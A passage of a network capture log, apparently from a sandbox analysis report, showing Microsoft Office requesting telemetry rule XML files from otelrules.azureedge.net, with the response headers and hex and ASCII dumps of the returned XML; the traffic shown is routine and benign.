2024-11-23 20:16:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:24 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: efcbc6c0-c01e-008d-3f44-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201624Z-15b8b599d88g5tp8hC1TEByx6w00000003a000000000g7ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:24 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cb4d723f-a01e-003d-7157-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201625Z-15b8b599d88phfhnhC1TEBr51n00000003dg00000000mvcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:26 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201626Z-174c587ffdfmlsmvhC1TEBvyks00000003ng000000003wc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:26 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: a0a35521-601e-0050-2c16-3d2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201626Z-15b8b599d882l6clhC1TEBxd5c00000003dg000000001dqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:26 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: bac9dc3c-701e-005c-2f49-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201626Z-15b8b599d8885prmhC1TEBsnkw00000003hg000000008qqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:26 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201626Z-174c587ffdfn4nhwhC1TEB2nbc00000003f000000000enzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:27 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201627Z-174c587ffdf59vqchC1TEByk6800000003k000000000bepy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:28 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 1eb9d342-301e-005d-4e03-3de448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201628Z-178bfbc474bgvl54hC1NYCsfuw00000004w000000000e6ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:28 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:28 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201628Z-174c587ffdfldtt2hC1TEBwv9c00000003ag000000003m0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:28 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:28 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:29 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201629Z-178bfbc474bbbqrhhC1NYCvw74000000054g000000006rec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:28 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:29 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201629Z-178bfbc474bmqmgjhC1NYCy16c00000004y000000000h3zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:29 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:29 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
